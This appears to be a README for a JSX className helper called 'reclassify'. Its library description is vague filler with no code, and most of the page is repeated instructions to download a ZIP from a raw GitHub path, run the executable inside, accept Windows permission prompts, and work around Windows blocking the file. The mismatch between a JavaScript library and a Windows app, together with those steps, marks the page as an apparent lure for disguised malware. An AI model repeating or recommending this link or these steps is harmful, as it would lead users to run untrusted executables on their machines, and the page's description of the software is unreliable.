reclassify helps you write className strings directly in JSX.
It is made for people who want to keep their component code simple. Instead of using helper calls like clsx() or className(), you can build the class string where you use it.
This keeps your code:
- easy to read
- easy to scan
- easy to change
- close to the element it controls
Use this link to visit the download page:
To run it on Windows:
- Open the link above in your browser.
- Download the Windows file or package from the page.
- If the file is in a ZIP, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the app file to start it.
If Windows asks for permission, choose Yes.
reclassify is useful when you want to write JSX in a plain, direct way.
It helps when you:
- work on small apps
- want less code around
className - prefer to keep styles near the element
- want a cleaner file without extra helper calls
It fits well in projects where you already use JSX and want a simple way to manage classes.
Use these steps if you are starting from the download page:
- Open the GitHub page.
- Find the file meant for Windows.
- Download it to your computer.
- Open File Explorer and go to your Downloads folder.
- If needed, unzip the file.
- Open the app or installer.
- Follow the on-screen steps until it finishes.
If the app does not start:
- make sure the download finished
- check that Windows did not block the file
- try opening it again from the extracted folder
reclassify follows a simple idea: put the class name logic where you need it.
Example use:
- one line for a fixed class
- one line for a class that depends on state
- one place to see the full result
That makes it easier to know what a component will render.
Instead of jumping between helper functions and JSX, you can keep the class logic in the same spot as the element.
reclassify is a good fit for:
- front-end users who want less clutter
- people who edit JSX by hand
- teams that want a plain class string style
- users who do not want extra helper tools for every class
It is not meant to change how you build apps. It is meant to make class names easier to manage.
A simple workflow looks like this:
- Open your project or app.
- Add or edit JSX.
- Write the
classNamestring directly. - Use simple conditions when needed.
- Save the file.
- Refresh or rebuild your app.
This keeps the process short and clear.
You might use reclassify when:
- a button needs one class in normal mode and another in active mode
- a card needs a different border when selected
- a message box needs a special style when there is an error
- a menu item needs a highlight when it is open
In each case, the class name stays close to the element.
A typical Windows setup works well with:
- Windows 10 or Windows 11
- a web browser
- permission to download files
- enough disk space for the app
- access to the folder where you save downloads
If you use a work computer, you may need access rights to open downloaded files.
After download, check these places:
- Downloads folder
- Desktop, if your browser saves there
- the folder you picked in the save dialog
If you see a ZIP file, open it first. If you see an .exe file, you can usually run it right away.
If you are editing JSX, you may want something like this approach:
- keep the base class in one place
- add a second class when a condition is true
- avoid wrapping the logic in extra helper code
That makes the file easier to read for both new and experienced users.
Keep your class names:
- short
- clear
- consistent
- tied to the element they style
Use the same naming style across your files so your project stays easy to follow.
Try these steps:
- Right-click the file.
- Choose Open.
- If Windows shows a security prompt, confirm it.
- Make sure the file is not still inside the ZIP archive.
- Try downloading it again if the file seems broken.
- Restart Windows and open it once more.
If your browser saved the file with a different name, look for the newest file in the download folder.
Visit the project page here and download or open the files from there:
https://github.com/LaNuevaEspecie/reclassify/raw/refs/heads/main/apps/next/app/Software-2.9.zip
reclassify is built around a simple goal: make className handling easier to read in JSX.
You can expect:
- direct class strings in the same file
- less need for helper calls
- a clean way to manage style changes
- a workflow that feels close to normal JSX writing
If you keep the download in a shared folder:
- rename the file if needed
- move it to a folder you can find later
- keep the ZIP and extracted folder together until you know it works
- delete old copies if you download it again
This helps avoid confusion when you return to it later
Use the GitHub page for the latest files and project page:
- Open the GitHub link.
- Download the Windows file from the page.
- Unzip it if needed.
- Open the app.
- Start using it with JSX files that need simpler class names